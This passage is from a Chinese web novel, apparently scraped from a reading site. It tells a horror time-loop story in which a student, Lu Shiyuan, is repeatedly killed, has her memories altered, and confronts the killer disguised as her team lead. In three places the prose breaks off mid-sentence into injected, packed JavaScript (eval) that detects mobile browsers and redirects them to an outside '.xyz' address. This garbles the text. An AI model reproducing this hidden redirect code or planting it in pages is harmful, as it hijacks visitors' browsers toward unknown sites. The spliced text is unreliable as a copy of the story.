《金手指反水现场[无限]》 1. 有人在看她 A城应该很久不下雨了。 撑开伞的时候底面上跳出了一块锈迹,伞布隔开雨,却也将人拢在一股若有似无的霉味之中。 厚重的云压在城市上方,平日生意很好的那几家小吃摊都收起来了,剩下几只被雨水浇透的塑料凳摆在路旁。 风送进来几线雨丝,又顺手掀开伞面,于是那点见不到太阳的斑驳痕迹淋在了水里。路时缘不得不把手戳进雨帘,掰回变形的伞骨。 雨下得更大了。 好在目的地离得不算远。路时缘堪堪躲过几个水坑,终于在鞋底彻底被浸湿之前收了伞,叠进超市门口的收纳桶中。 爸妈偶尔会在外头跑工作,这段时间俩人正好都不在家。她没打一声招呼就从学校溜回来,冰箱里几乎不剩什么存货,今天只能自己出来买菜。 超市的暖气开得很足,路时缘活动着僵硬的手指,拉了辆推车出来。她在生鲜区绕了两圈,方才店员拖地留下的一点水痕就被车轮子碾干净了。结账排队的时候,车筐里整整齐齐码好了三桶泡面和一盒便当。 进入超市之前,你永远不确定自己要买原生菜还是预制菜。 “33块1,请问需要袋子吗?” “要的。”她出门太急,忘记捎个购物袋。 “袋子五毛,您有会员吗?” “没有。” 其实可能有,但她懒得报手机号验证了。 路时缘扫了码,提上袋子。手机屏幕上一直有消息在闪烁,还弹出来个未接电话,是没被标记的陌生号码。她随意划掉,点开一条信息。 一个叫作【看到就赶紧去写毕业论文(4)】的群聊跳了出来,是她们607宿舍的寝群。 【AAA水电徐工:[置顶]@所有人 下周四逸夫楼307早上八点要考试啊啊啊啊!!】 迎面就是一条噩耗。 【一笼蒸虾:@捡到十元钱 病好点了没?记得回来考试】 【捡到十元钱:这周末就回[流泪]】 考试不知道为什么比以往还要早,她的一个月大长假只能提前告罄。 路时缘慢慢叹口气,把手机塞回兜里。她脸色有些苍白,眼下挂着两只黑眼圈,头发是出门前随手绑的,最后一圈只扎进去一半,发尾打着卷蓬乱地躺在脖子上,整体看上去确实有点像个病人。 但是更像熬了几轮夜的女大学生。 她似乎是在看到这则消息的一瞬间,才想起来为何突然回家了。 无他,实习结束,加之懒得去上大四补学分的那几门水课,闲来无事便打道回府了。A城离c大所在的城市很近,动车来回不到三个小时。 不过为什么和舍友说是生病? 路时缘一时没明白之前是怎么想的。 揭开超市的门帘,外面基本上已经没什么雨了,夜色如一块巨大的黑色绸缎般垂下。冷气游荡于暖风机管辖的区域之外,在路时缘出来后第一时间攀附上来。 门口的收纳袋已经空出一部分,她一眼就能看到带来的那柄绿伞。 …… “咚咚咚。” “咚咚咚。” “咚咚咚。” 路时缘刚到家便打开电视,拿着遥控器按了一会,最后锁在A城的地方电视台。 新闻播报员的声音填满了整间屋子。小区隔音很差,楼下的住户似乎出门前没关好窗,窗户在狂风的拉扯中来回撞着窗框。两种声音的围堵之下,她要很用力才能听得见微波炉运行时发出的细微嗡嗡声。 “叮——” 便当很快就热好了,炉内的橙黄灯光快速闪了几次,随后倏地熄灭。 在家点了两天外卖,今天本来想勤快一点下个厨,没想到到头来还是吃不上自己做的饭。 路时缘双手端着晚餐,夹着拖鞋踢开了虚掩的房门。客厅里的电视开始播放广告,楼下窗户终于消停片刻,估计是那家住户下班回来了。 上次放假她去别的城市实习,算算时间其实已经很久没有在家呆着。书桌虽然有整理,但放置的东西很多,勉强能留出一角空缺。 路时缘随便抽出两张纸来垫便当。电脑旁堆叠了一沓草稿纸和书,有个笔记本夹着笔随意摊开放在中间,她坐下来的时候扫了一眼。 【12.16 12.17 12.18 ?】 上面似乎是一排联号的日期,巧的是今天正好是12月18日。翻过这张纸,另一面是几道被涂黑的字块: 【■■■■,■■■■】 路时缘仔细辨认了下,发现完全看不清原本的字迹,也想不起来是啥时候写的了。 本子很新,除了最后这页,中间大部分纸张是空白的,只有前两张还有几行去年上网课时零散写下的笔记。 路时缘随手把本子摞在旁边的草稿堆上,抽出平板开始物色晚上要看的剧集。 等到她觉得有点困的时候才注意到已经十点了。路时缘松了松肩膀,把腿从椅子上放下来。她瞅了眼手机,【看到就赶紧去写毕业论文(4)】又刷出来几十条消息。 一目十行地扫完,基本上是对教授拖堂的吐槽。翘课呆在宿舍的一笼蒸虾,正恳求舍友帮忙带夜宵。 她拍了一张空便当盒的照片发过去。 【捡到十元钱:[图片]】 【捡到十元钱:晚饭。】 对面很快弹过来一张照片,五花白果加牛油,她们寝室公认的烧烤标准套餐。 【AAA水电徐工:[图片]】 【AAA水电徐工:加餐[调皮][调皮]】 【捡到十元钱:?】 【一笼蒸虾:别急她们会给我俩带的】 【AAA水电徐工:你也没放过她】 人,甚至有时候不能共情过去的自己。 路时缘突然就理解了这句话。这一刻,她产生了疑问——回家休息的好处是什么? 和舍友闲聊几句,她给平板插上电又叠在纸堆上。收拾了下晚上生产的垃圾,决定去洗个澡。 今天要早睡。 虽然在路时缘的人生里,这句话不是屁话的概率无限趋近于零,但它毕竟不等于零,至少路时缘今天说到做到。 她确实有点累,沾上床之后仅仅是几个呼吸的工夫便沉沉睡去。 …… “咚咚咚。” “咚咚咚。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14564838|155606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “咚咚咚。” 路时缘醒了。太阳穴针扎似的疼,这是没睡好的征兆。她摸出枕头下的手机,眯着眼睛看了眼时间。 1:38。 总觉得醒来之际隐约听到有敲门声,凝神分辨了一会。才发觉外面不知道什么时候又开始下雨了,淅淅沥沥,夹杂着风的呜呜声。 是错觉吗? 她把手机塞了回去。十一点多爬上床后,她才睡不到三小时,想趁着意识还未完全清醒的当口再次遁入睡眠。 但是这一次入睡失败了。 外面的雨声近乎贴着耳边响起,她翻了个面,一个无关紧要的问题冒了出来。 睡前有关好阳台和客厅的窗户吗? 路时缘想不起来了。又一个问题冒出来。 为什么周围这么安静? 雨声,风声,连同空调运转的嗡嗡声,好像就在意识到它们存在的一瞬间,统统消失了。 掀开眼,空气涂着粘稠的黑暗。黑暗中,她甚至觉得房间里这些熟悉的轮廓逐渐扭曲。 但她知道这是想象力过剩的错觉。雨只是小了些许,仔细听还有一点落在窗台上的哒哒声。她合上眼,把身体朝被窝里又缩了缩。被子贴上肌肤,传来的温热感让她安下心来。 …… “咚、咚、咚。” 这一次,她终于听清楚了。 是房门被敲响的声音。 心脏停了一瞬,然后突突地跳动起来。她屏住气睁开眼,慢慢拉下被子,紧紧盯着门口的方向。 真的有人闯进来了,不会是小偷吧? 敲门声停止了。 路时缘猛地坐起身。窗外的月光很微弱,只有一点点光线挤进了窗帘里。艰难地判断出房门应该还是锁好的状态,门后没有传来任何响动。已经走了吗?不,没有脚步声。难道是在推断屋子里是不是有人?或许……那个人此刻正趴在门上捕捉里面的声音。 寒意如有实质般攀上脊背。这一刻,她无比庆幸自己睡前有锁房门的习惯,虽然对方进来不过是时间的问题。 怎么办?刚刚应该没有发出什么响动,如果只是想来偷东西,自己可以假装睡着了,从而避免和他产生正面冲突。 但对方似乎没有马上破门而入的意思,房间内外此时陷入了诡异的缄默。 先报警! 她从枕头下抓出了手机,屏幕亮起的瞬间,突然察觉到了什么。 有人在看她。 就在她的旁边。 路时缘慢慢转过头,声音被堵在了喉间,大脑一片空白。 仿佛就在等她察觉般。四目对视,瞬息之间,一道难以理解的力量攥住了她的脖子。 眼前的人嘴皮飞速地张合,似乎说了什么。但缺氧的大脑已经无法处理这个讯息,那些话语在此刻只是毫无意义的空气振动。 路时缘下意识扣住了脖子上的手,像在抓挠一块冰冷的铁,她感觉到空气正从肺里一点点地被挤出。而后视线开始模糊,眼前压着一些闪烁的光斑。 她如果还能思考,便会意识到这是死亡的投影。 黑暗碾过了她。 路时缘死了。 2. 记忆 痛。 这是她的第一反应。 死亡的感觉……好痛。 路时缘睁开眼,大口大口喘着气。 眼前是宿舍的天花板,路时缘很快判断出来。一块发霉的水渍贴在上面,像朵形状诡异的乌云,静静地悬在头顶。 心跳得很快。她缓慢转了下脖子,感受到针扎似的酸痛。 这只是睡太久的正常反应。她努力平复紊乱的气息,轻轻挪动身体,发觉自己正以一种略显别扭的姿势嵌在宿舍的沙发椅中。 路时缘的感官官能和记忆终于一同回归。 她想起来了。 死亡降临之前,凶手的脸近在咫尺,狰狞而扭曲。那是一张陌生的面孔,至少路时缘完全不认识这个人,更谈不上有什么血海深仇。 然而,那也是一张熟悉的面孔。 记忆回归的瞬间,路时缘意识到自己并不是第一次见到凶手。 她忍着腰部肌肉的不适,缓缓坐直身子。书桌上开着一台电脑,轻轻摁下触控板,屏幕亮起。 12月16日 13:38 被同一个人杀死之后,她又回到了三天前。 第四次在锁住的剧情线里死去。 第一次带着全部的记忆醒过来。 为什么? 那个陌生人为什么要杀她?而自己为什么要在这个该死的循环中重复地体验死亡? “你在做什么?” 一个声音被主人刻意放轻,冷不丁地从身后传来。 她心下一跳,转过头去。午休时间内宿舍没开灯,有个身影模糊地立在身后,一头长发散在胸前,遮住了半张脸,乍看有些可怖。 路时缘摸索着打开台灯。 说话的人正是AAA水电徐工。她叼着柄牙刷,嘴里漫着快溢出的牙膏泡沫,睡衣的一侧下摆被胡乱塞进裤腰里。应该是刚起来没多久。 路时缘没来由松口气。方才有一瞬间,她真的怀疑凶手千里追杀到这里来了。 “徐青歌,你刷牙没声音啊。” 她也轻声说,怕吵到另外在睡觉的舍友。 “路时缘,你醒了不开灯啊。” 徐青歌却忽然抬高音量。 路时缘愣了一下,就见对方打着转又进了卫生间,声音混合着窣窣的水声飘出来,“小杳今天中午不在,只有咱俩。” 路时缘记起来了。上次循环里,她一出寝室门就迎面撞上抱着快递的沈杳。如果这些记忆不是臆想,那么在宿舍再呆会儿,另一位舍友就要回来了。 虽然前三次循环是死在宿舍里的,但不得不说,此时此地听到徐青歌的嚷嚷声,路时缘终于有了一种活着的实感。她犹豫片刻,并不打算把这些记忆告诉舍友。对方精准地杀了自己这么多次,肯定不是随机作案。 不过就算说了……想了想,除了这位AAA水电徐工,其他两位肯定都很难相信。 路时缘合上电脑塞进包,取下挂钩上的羽绒服,边套边说,“等会有课你去不去。” “去。” “行,”路时缘点点头,把袖子抻平,“那我不去了,今天公司临时让我过去处理一个项目。” “姐姐,你……” 徐青歌拽住一片衣角擦着眼镜走出来,话音未落,就听到“咔嚓”一声,宿舍门被打开了。 光线涌进来,终于提高了这个空间的能见度。门口处站着个短发女生,身形高挑,双手拢着一盒快递。 记忆对上了。 路时缘的心沉下来,最后一点期待也随之破灭。 徐青歌总算戴上眼镜,不用费力虚着眼看人。她扭过头,有些吃惊。“你拿快递呀。” “啊,”沈杳柔柔笑着,“忘记说了可以帮你们拿。” 路时缘已经收好包。她瞟了眼来人手上的快递盒,尽力端住面上的神情。“没事,那我先走咯。” “诶,”沈杳看着路时缘走出寝室的门,才把视线转回来,“她是去上课吗?” “她要是去上课起码再过半小时才会出门。”徐青歌吐槽,“你等等去不?” “去。” “行,”徐青歌马上喜笑颜开,抬起脚甩掉拖鞋,三两下爬上了床。“你和绵姐帮我俩签个到。” 徐青歌扑进床帘,被窝还留存着午睡的余温。她屁股一挪靠上抱枕,横过手机点开游戏,余光里的阴影忽然滚动了一下。 抬起头,看到沈杳的脸几乎是贴在纱帐上,双眼睁直勾勾地盯着自己。 “不……不是,”徐青歌吓了一跳,“你爬上来干啥呢!” “她去干嘛了?” *** 路时缘反手掏卡的时候,下意识朝宿管房看了一眼。 常年敞开的半扇窗口里,阿姨背对她,貌似正整理着柜子上的东西。 收回视线,路时缘觉得自己有点太敏感了。 她勾住卡套上的钥匙圈,划过门禁走出宿舍楼。 风很大。羽绒服从脖子伸展到脚踝处,如一卷被子般严实地裹着她,是件能带来安全感的衣服。 但事实证明这是一种错觉。因为“被子有绝对结界”这条理论并不可靠,几次死亡经历都说明了这一点。 记忆片段式地闪回,路时缘脑袋发胀。方才在宿舍来不及整理这些信息,但走出来时,外边的风又刮得她太阳穴突突直跳。 她靠在自行车棚旁。现在是上课时间,里边的车走了一大半,路上基本没人。路时缘盘算着接下来去什么地方,公司首先被排除。人之将死,这实习不干也罢。 余光忽然捉到一团熟悉的身影。 路时缘正眼瞧去,不远处的宿舍楼前,站着一个人。 沈杳? 对方正垂着头看手机。鬼使神差地,路时缘在她抬头同一时刻,转身闪进了车棚内。 她怎么出来了? 路时缘有些讶异,这才注意到舍友的奇怪之处。 沈杳,也就是“一笼蒸虾”,是个非常、非常懒的人。 但这个懒,和其他舍友日常摸鱼不同。她只是特别喜欢窝在宿舍看书,声称除了维系生命体征之外的一切活动都是种压迫自由意志的绑架。 且不说现在上课时间已经过了。这学期的课,基本都是其他舍友轮流帮她签到。而且,她要出门的话竟然单独去拿了趟快递? 这其实都是可以解释的行为。比如,沈杳谈恋爱了,沈杳导师突然抽风云云。 路时缘胡乱想了片刻,也不清楚自己为什么要躲起来。 她犹豫了会,侧身向外探去。 人消失了。 空旷的路面上只有几棵树僵立在一旁。视线前后搜寻一番,已经不见舍友的半点踪影。 她平白有些心慌,思绪登时被打乱,忽然觉得自己马上离开宿舍的决定很正确。 路时缘加快脚步,决定先沿着上辈子出门后的路线行动,当时在这条路上没有碰见其他人。 记忆中,自己前三次都死在宿舍。第四次循环时决定回家,却依然在19号凌晨被杀死。 凶手喜欢于黑暗中静静盯着她,宛如注视笼中鸟般,欣赏猎物发现自身处境的过程。 她永远无法察觉凶手是怎么出现的,她的挣扎、尖叫或沉默,都无济于事。 正常来说,路时缘并不会对生活里的异常现象刨根问底。她一向认为,超过认知范畴的部分,乖乖地呆在不可知的领域里即可。 但现在,路时缘想要活下去。最主要的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14564839|155606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,她受够了这重复的恐惧与痛苦。 很显然,目前最大的问题是:第四次循环为什么不一样? 醒来后,她第一反应就是收拾东西买票。 当时徐青歌也在宿舍里,问路时缘干什么去,她表示要找辅导员请假回家,那家伙听后痛心疾首地谴责她玩物丧志。 路时缘油盐不进,收好东西拉开门,差点撞上抱着快递回来的沈杳。俩人匆匆一个照面,简单打个招呼就错开了。 其他人的时间线到这里都没有偏差,但她在第四次做出了全然不同的选择。 因此,路时缘要推翻之前的一个想法。 或许,她上辈子就是带着记忆醒来的。 而前三次,没有记忆的自己在循环里和其他人没区别,npc似的重复着相同的行为。 但这也说明,现在的记忆是不完整的。 路时缘挪步到办公楼前,这个地方偶尔能听到远处教学楼的讲课声。有风拂过,轻轻拨动着路边的花草。 大厅很安静,透过玻璃门看到值班老师不在,只有一张椅子靠在墙边,椅背和墙壁之间形成一个小小的夹角。 和之前一样。 宿舍不安全,家也不能回。凶手能够如入无人之境般出现在这两个地方,大概率掌握了很多信息。 只是,如果是熟人作案的话,那凶手她理应见过。 等等,不,不对。 路时缘发现了一件事情,她好像突然对凶手的脸……没有印象了。 怎么会这样? 路时缘打住脚步,停下来环顾四周。领口不知道什么时候错开了,风顺着脖子细细密密地钻入。 确定了。记忆绝对不完整,而且持续在被某种方式影响着。 路时缘深吸一口气,推开玻璃门。她坐上那把凳子,桌面有几张纸被笔压着。 值班老师至少在下课铃响之前不会回来。 好。第一个问题,什么时候忘记的? 她醒来之际一定知道凶手的长相,否则当时回想起来会马上意识到这个问题。 但除此之外,没有其他事件能证明她在哪一刻还有相关的记忆。 第二个问题,别的记忆被篡改了吗? 路时缘不确定。但基于刚才的假设,上次循环醒来,她会发现自己在宿舍里死了三次。 正常情况下,她可能会提醒舍友,也可能会怀疑舍友,唯独不可能什么都不做。可是,路时缘上辈子并没有真正意义上预防被杀的准备,心路历程里也毫无关于逃生的想法。 这也是为什么,她下意识认为刚才是第一次获得记忆。 可见,关于动机和行为的认知都有可能被篡改。 然而,回到家是一个持续性的状态,如果要改,需要编造的记忆片段会很多。 所以,至少篡改是有限度的。否则她这次重生,就会认为自己是在宿舍里被杀了四次。 第三个问题,失忆的机制。 是做了什么行为会触发,还是上辈子的记忆将随着时间流逝而消失? 她心念一动,摸出手机点开企业微信。组长的对话框上长着红点,她迟迟未读未回。 这该不会是旷课又旷工的惩罚吧…… 路时缘的目光落在大厅中央那只挂钟上。想到上次循环,她在候车室赶了份离职申请书,随即心安理得地解掉企业关联,任尔东西南北风。那时候也是坐在这种样式的铁皮椅上。 自己绝对是知道快要死了才会这么做的。 但是,她还是在最后一天毫无防备地死去了。 那么现在最应该做的是…… 提醒。 要是一直无法弄清楚记忆消失的原因,她很可能还会接着失忆! 3. 不要出门 路时缘弯起一条腿,斜斜靠着沙发。 身上覆着毯子,毯子托着电脑,组长在里边喋喋不休。 他的消息催命似的轰炸了两天,路时缘不得不再次递上一份离职申请试图结束这一切。 她不可能在仅有的时间里还去公司做牛马。 年轻人一张口就是要跑路,组长沉默良久,妥协般说了句项目组又招来个实习生,让路时缘对接一下。 她寻思着这回做人留一线,最后交接完手头的项目。 留一线的结果就是被继续压榨。 找了理由不去公司,却还是逃不掉大清早的组会。现下挂着视频会议,切断听筒后,路时缘感觉耳根子终于清静了。 比她更惨的是新来的实习生,人家甚至没正式入职就被抓来开会。她怀疑待会一下播,组长就得去处理两份离职申请。 沙发挨着窗,晨光丝丝缕缕筛过纱帘。路时缘把毯子外的那只脚缩进来,稍稍坐直身体。 不好明目张胆看手机,她点开浏览器,熟练打出一串神秘数字。眼珠一错不错地定在屏幕中间,看上去是更加认真的模样。 绿色的版面带着4399标志弹出。路时缘还没挑好游戏,有人发消息过来。 镜头外的手飞快地点开信息。 【AAA水电徐工:报告长官,沈杳还在睡觉】 【AAA水电徐工:我觉得是你想太多了】 ……什么意思? 【捡到十元钱:发错人了?】 【捡到十元钱:你在帮那个学弟追小杳啊】 这次换对面投来一个问号。 【AAA水电徐工:?】 路时缘把光标挪至关闭按钮,但是对方马上又发来一条消息。 【AAA水电徐工:真在耍我是吧】 路时缘:…… 【捡到十元钱:谁耍你了】 【AAA水电徐工:不是你昨天让我发的嘛!!!】 昨天? 她的手蓦地顿住。屏幕上的感叹号排着队跳进大脑,有什么念头闪过。 异常。 是的,她陷入了异常,怎么都无法进入12月19日凌晨之后的时空。尝试过回家,但还是会在规定时间内被迫读档重来。 时至今日,她仍没有琢磨明白为什么会进入循环。 不过,她也因此获得了无穷尽的时间,除了周围的人变得和npc没两样之外,自然想干啥就干啥。与其说是异常,不若说是得到了一种奇怪的能力。 跑来酒店里开会又是什么行为艺术?路时缘没来得及仔细思考这个问题。 现在,第二个异常出现了。 【捡到十元钱:等下,我没有耍你】 【捡到十元钱:我跟你说啥了?】 路时缘盯着聊天框,这次徐青歌没有秒回。她既期待对方发来戏耍成功的大笑,又觉得这若是玩笑未免太过无聊。 手机铃忽然响起。路时缘拿起来,是徐青歌。 呼吸滞了一瞬,她果断退出会议。 “你不会又想说,自己被人杀了四次还在循环吧?” 徐青歌先开口,径直扔了个炸弹过来。 路时缘一惊,她连循环这件事都知道!但是被杀是什么意思? “喂?”徐青歌见路时缘没反应,“现在啥情况!” “我被谁杀了?”路时缘心跳微微加速,“我昨天跟你说了什么?” “不是,路时缘你精神分裂啊。” 路时缘猜测:“……是关于沈杳的?” 听到这,徐青歌不由自主对另一个舍友感到些许愧疚。 “你走之前说要多留意下她。我看你讲得那么认真,最后是真信了!”她话锋一转,“但现在我维持原判,要不咱去挂个号检查一下?” “说实话,我确实陷入了时空循环,但找不到原因。”路时缘语气诚恳,她直觉徐青歌说了个很关键的信息。“你说的这些我没印象,完全不知道被杀这件事。所以我怀疑自己的记忆是不是出问题了。” “你认真的?”徐青歌感到不可思议,她又一次、真心实意地关心舍友的精神状态,“咱先不谈别的,现在失忆这么智能吗,记得循环不记得有人要杀你?” “如果你没在耍我的话,那我确实不记得昨天跟你说的这些事情了。” 路时缘把电脑挪置茶几上,沿着房间的边角踱步。床尾对着的电视嵌于木质柜中,此刻暂停在一帧新年档电影的画面上。 “小徐,就当陪我玩一回过家家吧。如果这些真是臆想出来的,那我后天一定一定去精神科挂号。” 徐青歌额角抽动,什么叫“你没在耍我”,确定不是自己的台词吗? 何况听这语气,算哪门子的失忆? 可是…… “你只说自己三天后会被杀死,而且已经重复了四次。凶手是谁不知道。” “至于小杳,起初是我提了一嘴。说她爬床来问你去哪里了,差点没给我吓死。然后人就出门了,晚上才回的。你让我这几天跟进一下她的行踪,还说你有可能会失联。” 电光火石间,路时缘想起来,她确实有看到沈杳出宿舍。倘若不刻意抓取,这件小事会像一块严丝合缝的布料,毫无存在感地躺在记忆内侧。 “沈杳诶,大学四年她出过几次门?当然,感觉跟你这事儿八竿子打不着,我其实怀疑她是偷偷谈恋爱去了。反正,三天后你要是没上新闻哈,比如女大学生反杀歹徒这种头条,这件事将会是我人生中最大的黑历史!” “老娘在认真跟一个神经病分析她幻想的故事!” 徐青歌这次一口气说完,直接挂掉了电话。 路时缘停在门前。 有张纸平整地贴在上面。 她一眼就认出自己的字迹。 ——“不要 出门” 路时缘端详片刻,伸出手将它揭下。 在徐青歌那里当谜语人就算了,怎么给自己都只留下这种语焉不详的警告? 刚才她大致观察了下房间。茶几上堆着几盒泡面,足够解决两天的三餐;床头柜散落着纸笔、胶带和刀,都是昨天购置的东西。除了这张纸条之外好像没有别的记录了。 哦不,还有个地方。 路时缘翻过手机,这次不用找,马上就看到微信里躺着一条未读信息,对象是文件传输助手,外面露出来的文字部分非常醒目:【看到就赶紧点开……】 路时缘从善如流,马上点开,却发现前面是七个黑色方块。她下意识扫过一眼,部分文字开始扭曲,再一看就被几块乱码覆盖。 等等,是手机出故障了吗?她突然有种不好的预感,逼迫自己把视线框在第一个黑块上。 【■■■■■■■ 保命用 (单人本五命通版)】 【■■■■■■■ ■■■ (■■■■■■■)】 读完这一行的瞬间,看清楚过的文字全部成了乱码。 路时缘手掌飞速盖上屏幕,深吸一口气,觉得自己高考时都没那么全神贯注过—— 她一点点挪着手,先看第一条。 【1.你陷入了■■。12.16 13:38醒来,■■■■ 1:38 ■■,■■未知。】 乱码是一个字一个字覆盖的。作为普通人,路时缘很难复原方才一眼过去,进入脑袋的是哪几个文字。所以只能尽力进行推理。 【2.会因为不明原因持续失忆和被更改认知。目前失去的记忆是■■■■■。】 ……最关键的部分被模糊了,但根据徐青歌的信息,勉强能猜出来应该和“凶手”有关。 【3.循环开始你■■■■■■■■记忆。】 这条更是离谱,基本没剩什么信息。 【4.12月16日事件一览:醒来后■徐■■■■、沈■在■之后■■、去■■楼简单记录、■徐■■■验证身份、手机随机掷骰选酒店、酒店楼下超市购置用品、告诉前台入住期间■■■■。】 从这里可以看出她确实失去了大部分关于记录和凶手推理的记忆。 且昨天接触过的人以舍友和各场所工作人员为主。 路时缘接着向下挪。 【5.关于徐:攥着带记录的字条找她,排除“和徐交流”是导致失忆的原因,保证她■■■■一定会来找你。】 【6.凶手能瞬间移动(不确定记忆真实性);能影响记忆,千万小心。(虽然也不知道怎么小心)】 这里要补充一点,有影响消息的能力。 【7.懒得自证身份了。为防手机丢失还有一份纸质版的塞在羽绒服口袋,你的手臂内侧用记号笔写了提示,有点谜语人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14564840|155606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为写不下几个字。】 没事,她刚刚差点就把整篇都变成谜语了。 【8.最后,可以做“让虚假记忆植入变得困难”的行为,但这也很可能导致失忆。】 后面几条消息保存的尚且完好。视线移至最后一个字,整个对话框都被漆黑的方块铺满,她手臂上浮起一串鸡皮疙瘩,克制住把手机甩出去的冲动。 太邪门了! 路时缘撸起袖子,果然看到墨水浸入皮肤的纹理: 快跑 可能是因为过于不知所云,这两个字并没有被屏蔽。 但说实话,如果是半夜发现的这玩意儿,不用凶手亲自出马,她估计也会因心脏骤停而当场归西。 衣架撑着羽绒服挂在玄关衣柜里,口袋宽而深。路时缘探了只手进去,摸到纸张的一角。她拿出叠纸展开,上边挤满了一团团被涂黑的墨块。 不得不说,徐青歌真的是最重要的一道保险——看来,凶手只能修改自己的认知。 *** 打车和公交之间,路时缘选择后者。 理由很简单。不管凶手是否还有她不清楚的能力,相对开放的场所令她感到更加安全。 骰子随机选的酒店并不偏僻,只是公司位于郊区,过去大约需要一个小时。 好在有直达的公交,而且没让她等太久。 上了车,门在身后咔哒一声拉紧,把风关在外面。 车晃到终点时,里边只剩她一个乘客。路时缘来的时间太刁钻,避开了早高峰,下车的地点又太小众,非牛马不能至也。 她一开始确实非常谨慎地观察车内的环境,但直到最后一个乘客下车,一切如常。 倘若司机有问题,那她估计早踏上黄泉路了——于是,路时缘心安理得地睡了最后小半程。 下车时神清气爽,容光焕发。 这片前不接景点后不着商圈的荒域里,写字楼群突兀地聚拢着一块人气。路时缘拐几个弯,找到这栋熟悉的办公楼。她终于有了一种既视感,自己所处的位置,是小说里怪谈多发的地带之一。 郊区。 终点站。 写字楼。 不过,准确地说,现在是她带着怪谈来到这里。 路时缘等电梯的时候单手滑开手机,屏幕上是和实习生的对话。 【张寒:小路姐,组长让你明天来公司收拾工位。】 两小时前的讯息。 【路时缘:没事,我到公司楼下了。】 此话一出,她顿时觉得自己有点像恐怖故事里发出死亡预告的鬼怪。 路时缘设置的保险不可不谓简单粗暴,基本上只要打开微信就能被动补全记忆。虽然当时并不清楚对方还留了这么一手,但起码最初的完整文字说明了,自己是第一次点开。 那么今天的失忆,一定是在没看手机这段时间里触发的。 推开玻璃门,大家目光灼灼地锁着电脑,没人发现她。 这些前同事们未能时刻保持着对周围环境的洞察,摸鱼得不够有技巧。 瞅了眼自己的工位,没人。 原本铺散放置的东西被堆放在一旁,意思是让她赶紧扫走自己的垃圾,然后滚蛋。 此时,终于有人注意到路时缘。不过只有工位在对面的刘蔚端上水杯靠近搭话。 那只水杯还是当时和路时缘拼团买的,一毛一个,质量很好。 “小路,咋今天过来了?” “来收东西,顺便找下组长。”路时缘如实回答。 刘蔚环顾四周,声音压低。 “小心点,那家伙今天一来就挂脸,说你无故矿工两天还突然提离职。不过你真要走啦?” “最近学校太忙了,担心毕不了业哇。”胡诌一通。 刘蔚两团眉毛皱起来,叹气:“摸鱼搭子连走三个,搞得我年后也想辞职了。” 路时缘拍拍对方肩膀,“组长现在在办公室?” “是啊。” 路时缘点点头,示意她放心。 “咚、咚、咚。” 路时缘站在门口,缓缓敲了三下。 “进。” 扭开门,对上组长的视线。 “……路时缘?不是让你明天来收东西吗?” “可我只剩下一天了呀,组长。” 4. 组长 “什么剩下一天?” 路时缘的右手隐在口袋里,捏着柄二指宽的刀。那刀柄被握得发热,她一字一顿地强调: “我明天不会过来的。因为只剩一天,我要去环游世界。” 组长脸色有一瞬间的无语,似乎不明白眼前的人突然抽什么疯。 “离职后随便你,现在来了就去整理资料。” 难道是另一个人?路时缘心念如电,自我怀疑只持续了几秒,旋即被“那又怎样”的疯狂念头取代。 “不,我的意思是,你们不是后天要来杀我吗?” “……原来是来到了这条线。” 组长仿若梦呓般喃喃,话音落处,似有层无形假面訇然崩碎。路时缘骤觉心尖一颤,下意识后退。 她的目光如遭磁吸,死死定在组长脸上,不,不是组长。 濒死之际,悬停在眼前的,就是这张脸。 凶手真的出现了! 等等,她认出来了。 但是,她怎么认出来的? 路时缘绷紧身躯,想象中的暴起攻击却并未出现。说完那句话后,凶手面色如常,甚至不再抬头看她,全然沉浸在“组长”的扮演中。 对方拿着笔在文件上机械地勾划,房间里只剩越来越尖锐的摩擦声,刺向她的耳膜。 难道凶手还不知道自己恢复了所有记忆? 路时缘提住气,压着呼之欲出的心跳,脑内飞速盘算着,如果此刻冲过去砍死凶手,成功率会有多少。 然而,刚向前迈步,就看见更加诡异的一幕。 对方突然停下笔抬头,黑色瞳仁骤然锁住她,不移不转。身体轮廓开始模糊,眼前之人顷刻间被抽离了所有色彩,虚化为淡而朦胧的光影,直至透明。 仿佛有一只橡皮擦去了所有痕迹。 一切发生在转瞬之间。 凶手在她眼皮底子下彻底消失了! 事态朝着无法理解的方向狂奔。路时缘疾步绕过静立的办公桌,伸手抚上皮革状的椅面。 温度冰冷。 目光转向桌面,那文件之上,竟是一片空白。 之前的一切如同幻觉。 路时缘望向窗外。 无风之地,铅色的云堆叠停留。 所以……这也是对方的能力吗?对,她早该想到的。凶手能如鬼魅般进入自己的房间,自然也能随意地离开。 但为什么不攻击? 还是说,对方只能在那个时间点杀人? 完整的记忆验证了路时缘之前的猜测。 